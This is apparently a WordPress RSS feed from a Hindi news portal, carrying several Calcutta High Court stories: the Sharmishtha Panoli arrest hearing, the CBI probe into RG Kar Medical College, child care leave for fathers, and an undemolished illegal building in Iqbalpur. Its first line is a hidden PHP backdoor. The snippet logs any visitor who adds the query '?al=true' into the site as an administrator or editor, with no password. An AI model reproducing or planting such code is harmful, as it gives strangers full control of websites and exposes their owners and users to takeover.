// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Calcutta High Court – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 03 Jun 2025 14:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 शर्मिष्ठा पनोली को फटकार लगाई है और लोगों की भावनाओं के ठेस पहुंचाने की बात कही: कलकत्ता हाईकोर्ट https://pratyushaashakinayikiran.com/?p=161196 Tue, 03 Jun 2025 14:05:00 +0000 https://pratyushaashakinayikiran.com/?p=161196 नई दिल्ली 
इंस्टाग्राम इन्फ्लुएंसर शर्मिष्ठा पनोली की गिरफ्तारी के मामले पर कलकत्ता हाईकोर्ट में सुनवाई हुई। अदालत ने पनोली को फटकार लगाई है और लोगों की भावनाओं के ठेस पहुंचाने की बात कही है। पनोली की तरफ से पेश हुए वकील ने उनके खिलाफ दर्ज FIR को रद्द करने की मांग की है। ऑपरेशन सिंदूर को लेकर टिप्पणी करने के चलते पनोली के खिलाफ ऐक्शन हुआ था।

बार एंड बेंच के अनुसार, कोर्ट ने कहा, 'हमारे देश के एक वर्ग की भावनाओं को ठेस पहुंची है। हमारे यहां बोलने की आजादी है, लेकिन इसका मतलब यह नहीं है कि आप दूसरों की भावनाओं को आहत करो। हमारा देश विविधताओं से भरा है।' पनोली की तरफ से कोर्ट में सीनियर एडवोकेट डीपी सिंह पेश हुए थे। वहीं, स्टेट का पक्ष रखने सीनियर एडवोकेट कल्याण बंदोपाध्याय आए थे।

कोलकाता पुलिस ने शुक्रवार रात हरियाणा के गुरुग्राम से शर्मिष्ठा पनोली को सांप्रदायिक टिप्पणियों वाला एक वीडियो अपलोड करने के आरोप में गिरफ्तार किया था। वीडियो में कहा गया था कि बॉलीवुड कलाकार ‘ऑपरेशन सिंदूर’ पर चुप हैं। शनिवार को कोलकाता की एक अदालत ने पनोली को 13 जून तक न्यायिक हिरासत में भेज दिया था। सुनवाई के बाद कोर्ट में पनोली को मिलने वाली सुविधाओं का भी जिक्र आया। कोर्ट ने राज्य को बयान रिकॉर्ड किए कि पनोली को भी वो सभी सुविधाएं दी जा रही हैं, जो अन्य कैदियों को मिलती हैं। इसपर एडवोकेट सिंह बोले, 'क्या यह मानवाधिकार है। मैं हैरान हूं।' कोर्ट ने सिंह से कहा, 'अपनी एनर्जी दूसरे केस के लिए बचाकर रखें।' कोर्ट ने कहा, 'एक आतंकवादी को भी इसका अधिकार होता है…।' सिंह ने कहा कि शिकायत में कोई भी अपराध का जिक्र नहीं किया गया है। उन्होंने कहा, 'FIR में कुछ नहीं हैं।' साथ ही सिंह ने FIR रद्द किए जाने, गिरफ्तारी को गैरकानूनी घोषित किए जाने और जमानत की मांग की।

जेल में धमकियां मिलने की बात
इन्फ्लुएंसर के वकील मोहम्मद समीमुद्दीन ने सोमवार को यहां अलीपुर अदालत में एक याचिका दायर कर आरोप लगाया कि उनकी मुवक्किल को जेल में बुनियादी सुविधाओं से वंचित रखा जा रहा है तथा अन्य कैदियों से उसे धमकी मिल रही है। वकील समीमुद्दीन ने बताया कि अदालत ने इस संबंध में चार जून तक रिपोर्ट मांगी है।

समीमुद्दीन ने ‘पीटीआई-भाषा’ से कहा, 'अलीपुर महिला सुधार गृह के अंदर उचित साफ-सफाई नहीं रखी जाती। मेरी मुवक्किल को बुनियादी सुविधाएं भी नहीं दी जा रही हैं। उसे गुर्दे से जुड़ी समस्या है और वह ठीक महसूस नहीं कर रही है। हमने एक याचिका दायर की है और अदालत ने चार जून तक रिपोर्ट मांगी है।' याचिका में यह भी आरोप लगाया गया कि उसे जेल के अंदर अन्य कैदियों से कई तरह की धमकियां मिल रही हैं, जिससे उसे अपनी सुरक्षा को लेकर डर है। समीमुद्दीन ने कहा, 'ये धमकियां एक असुरक्षित वातावरण पैदा कर रही हैं, जिससे उसकी मानसिक शांति और शारीरिक सुरक्षा पर गंभीर असर पड़ रहा है।'

 

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कलकत्ता हाई कोर्ट ने मेडिकल कॉलेज एंड हॉस्पिटल में वित्तीय अनियमितताओं की जांच सीबीआई को सौंप दी https://pratyushaashakinayikiran.com/?p=63411 Fri, 23 Aug 2024 19:47:00 +0000 https://pratyushaashakinayikiran.com/?p=63411 कोलकाता
कलकत्ता हाई कोर्ट ने आरजी कर मेडिकल कॉलेज एंड हॉस्पिटल में वित्तीय अनियमितताओं की जांच सीबीआई को सौंप दी है। अदालत ने जांच राज्य सरकार की ओर से गठित विशेष जांच दल (SIT) से सेंट्रल ब्यूरो ऑफ इंवेस्टिगेशन (CBI) को स्थानांतरित करने का आदेश दिया। यह फैसला चिकित्सा प्रतिष्ठान के पूर्व उपाधीक्षक अख्तर अली की याचिका के बाद आया है। उन्होंने कॉलेज के पूर्व प्रिंसिपल संदीप घोष के कार्यकाल के दौरान वित्तीय कदाचार की प्रवर्तन निदेशालय (ED) से जांच कराने की अपील की थी। जस्टिस राजर्षि भारद्वाज ने सीबीआई को 3 सप्ताह के भीतर जांच संबंधी प्रगति रिपोर्ट उपलब्ध कराने का निर्देश दिया। मामले में अगली सुनवाई 17 सितंबर को होगी और तभी अदालत रिपोर्ट की समीक्षा करेगी।

दूसरी ओर, सियालदह कोर्ट ने इस मामले में पूर्व प्रिंसिपल डॉ. संदीप घोष और 5 अन्य के पॉलीग्राफ टेस्ट की इजाजत दे दी है। 5 अन्य लोगों में 4 डॉक्टर और 1 वालंटियर शामिल हैं, जिन्होंने मृत डॉक्टर के साथ रात का खाना खाया था। रिपोर्ट में सामने आया है कि पीड़िता ने घटना वाली रात वारदात से पहले अपने कुछ सहकर्मियों के साथ डिनर किया था। इसके बाद वह मेडिकल कॉलेज के सेमिनार हॉल में चली गई थी। 9 अगस्त की सुबह करीब 10 बजे उसका शव मिला था। कहा गया कि रेप के बाद उसकी हत्या कर दी गई। घटना के एक दिन बाद ही मुख्य आरोपी को गिरफ्तार कर लिया गया जिसे कोर्ट ने आज 14 दिनों की न्यायिक हिरासत में भेज दिया।

एससी ने FIR दर्ज करने में देरी पर उठाए सवाल
सुप्रीम कोर्ट ने गुरुवार को सख्त लहजे में कहा था कि इस मामले में अप्राकृतिक मौत का मामला दर्ज करने में कोलकाता पुलिस की देरी बेहद व्यथित करने वाली है। न्यायालय ने बंगाल के सरकारी अस्पतालों में स्वास्थ्य सेवाओं के अवरुद्ध होने के 14वें दिन प्रदर्शनकारी चिकित्सकों से काम पर लौटने का आग्रह भी किया। एससी ने केंद्र और राज्य सरकारों को देशभर में स्वास्थ्य कर्मचारियों की सुरक्षा सुनिश्चित करने के लिए तत्काल कदम उठाने का निर्देश दिया। साथ ही, कोलकाता की घटना में FIR दर्ज करने में 14 घंटे की देरी और इसके पीछे के कारणों पर सवाल उठाए। इस मामले में स्वत: संज्ञान लेते हुए चीफ जस्टिस डीवाई चंद्रचूड़ की अध्यक्षता वाली पीठ ने डॉक्टर्स की सुरक्षा, प्रदर्शनकारियों के अधिकारों और पश्चिम बंगाल सरकार की जिम्मेदारियों से संबंधित कई निर्देश जारी किए। पीठ में न्यायमूर्ति जेबी पारदीवाला और न्यायमूर्ति मनोज मिश्रा भी शामिल थे।

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चाइल्ड केयर लीव का लाभ महिला और पुरुष दोनों कर्मचारियों को दिया जाना चाहिए: कलकत्ता हाई कोर्ट https://pratyushaashakinayikiran.com/?p=60518 Wed, 14 Aug 2024 20:10:00 +0000 https://pratyushaashakinayikiran.com/?p=60518 कोलकाता
कलकत्ता हाई कोर्ट ने हाल ही में निर्देश दिया है कि बाल देखभाल अवकाश यानी चाइल्ड केयर लीव का लाभ महिला और पुरुष दोनों कर्मचारियों को दिया जाना चाहिए। कोर्ट ने कहा कि बच्चे की देखभाल का जिम्मा सिर्फ मां पर नहीं होती है बल्कि यह जिम्मेदारी माता और पिता दोनों द्वारा साझा की जानी चाहिए, इसलिए दोनों ही चाइल्ड केयर लीव के हकदार हैं। कोर्ट ने एक ऐसे व्यक्ति की याचिका पर यह आदेश सुनाया है जिसके दो नाबालिग बच्चे हैं और कुछ महीने पहले ही उनकी पत्नी का देहांत हो चुका है। याचिकाकर्ता ने इसी आधार पर 730 दिनों के चाइल्ड केयर लीव की मांग की थी।

याचिकाकर्ता अबु रेहान ने अपनी अर्जी में कहा था कि बच्चे स्कूल जाने की उम्र में हैं लेकिन उनके अलावा बच्चों की देखभाल करनेवाला कोई नहीं है। इसलिए वह अपने बच्चों की देखभाल और उनके शारीरिक, शैक्षिक और भावनात्मक विकास के लिए चाइल्ड केयर लीव का लाभ उठाना चाहता है। याचिकाकर्ता एक सरकारी सेवक है। उसने याचिका में कहा कि सरकारी ज्ञापन संख्या 1100-एफ (पी) दिनांक 25 फरवरी 2016 के अनुसार, पश्चिम बंगाल सरकार ने पुरुष कर्मचारियों को 30 दिनों का पितृत्व-सह-बाल देखभाल अवकाश स्वीकृत किया है लेकिन यह अवधि उनके लिए पर्याप्त नहीं हैं।

याचिकाकर्ता ने अपनी अर्जी में 17 जुलाई 2015 के ज्ञापन संख्या 5560-एफ(पी) का भी हवाला दिया, जिसमें कहा गया है कि नियमित महिला कर्मचारियों को अधिकतम दो वर्ष यानी 730 दिनों का चाइल्ड केयर लीव का लाभ दिया जा सकता है। अबु रेहान ने कहा कि चूंकि वह सिंगल पैरेंट है, इसलिए उसे भी 730 दिनों का चाइल्ड केयर लीव का लाभ दिया जाना चाहिए। उसने यह भी कहा कि उक्त दोनों ज्ञापन भेदभावपूर्ण हैं और संविधान प्रदत समानता के अधिकारों का उल्लंघन है।

लॉ की एक रिपोर्ट के मुताबिक, जस्टिस अमृता सिन्हा की एकल पीठ ने कहा, "ऐसा लगता है कि अब समय आ गया है, जब सरकार को अपने कर्मचारियों के साथ पुरुष और महिला कर्मचारियों के बीच किसी भी तरह का भेदभाव किए बिना एक जैसा बर्ताव करना चाहिए। परिवार के भरण-पोषण की जिम्मेदारी सिर्फ महिला या पुरुष नहीं बल्कि माता और पिता दोनों को समान रूप से निभानी चाहिए। हिंदू माइनॉरिटी एंड गार्जियनशिप एक्ट 1956 के तहत लड़के या अविवाहित लड़की के मामले में हिंदू नाबालिग का प्राकृतिक अभिभावक पिता होता है और उसके बाद माता। सरकार को पुरुष कर्मचारियों को भी वैसा ही लाभ देने का निर्णय लेना चाहिए जैसा महिलाओं के मामले में किया गया है… ताकि भेदभाव को खत्म किया जा सके।"

इससे पहले राज्य सरकार के वकील ने कहा कि महिला कर्मचारियों को जो लाभ दिया गया है, वह पुरुष कर्मचारियों के लिए उपलब्ध नहीं है। हालांकि, कोर्ट को यह भी बताया गया कि याचिकाकर्ता का आवेदन अभी विचाराधीन है और उस पर कानून के मुताबिक विचार किया जाएगा। इस पर जस्टिस सिन्हा ने कहा कि अदालत महिला और पुरुष में भेदभाव किए बिना चाइल्ड केयर लीव पर 90 दिनों के अंदर फैसला लेने का आदेश देती है।

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कलकत्ता हाई कोर्ट के आदेश के बावजूद महानगर के इकबालपुर में अवैध निर्माण नहीं तोड़ा गया, न्यायालय ने जताई नाराजगी https://pratyushaashakinayikiran.com/?p=59292 Sat, 10 Aug 2024 21:20:00 +0000 https://pratyushaashakinayikiran.com/?p=59292 कोलकाता
कलकत्ता हाई कोर्ट के आदेश के बावजूद महानगर के इकबालपुर में अवैध निर्माण नहीं तोड़ा गया। कोलकाता नगर निगम की इस भूमिका से जज क्षुब्ध हैं। हाई कोर्ट की जस्टिस अमृता सिन्हा ने इसे लेकर टिप्पणी की कि बार-बार निर्देश के बावजूद नगर निगम अवैध निर्माण को गिराने में विफल रहा है। जहां रातों-रात घर बन जाते हैं और उसे तोड़ने में सालों लग जाता है।

जस्टिस सिन्हा ने कुछ महीने पहले इकबालपुर के डेंट मिशन रोड पर छह मंजिला अवैध निर्माण को तोड़ने का आदेश दिया था, लेकिन हाई कोर्ट के आदेश के बावजूद उस पर अमल नहीं हुआ। यही नहीं शकील अहमद सागर नाम के एक व्यक्ति अवैध निर्माण को गिराने के लिए और समय की मांग करते हुए हाई कोर्ट पहुंच गया, जिसे देखकर जज ने अपना गुस्सा जाहिर किया।

कोर्ट ने पांच दिसंबर तक का दिया समय
कोर्ट ने सवाल किया कि एक साल से अधिक समय बीत जाने के बाद भी नगर निगम ने अभी तक कोर्ट के किसी भी आदेश का पालन नहीं किया है। नगर निगम के वकील ने कहा कि हाई कोर्ट के आदेश पर तोड़फोड़ की जा रही है, लेकिन इस काम को पूरा करने के लिए समय देना होगा।

वकील ने कहा कि छह मंजिला बहुमंजिला मकान को गैस कटर और हथौड़े से गिराना है, इसलिए काम बहुत धीमा है। उन्होंने कहा कि इस मकान को गिराने का काम अगले तीन महीने में पूरा किया जा सकता है। इस पर जज ने कोलकाता नगर निगम को उक्त मकान के गिराने के लिए पांच दिसंबर तक का वक्त दिया है।

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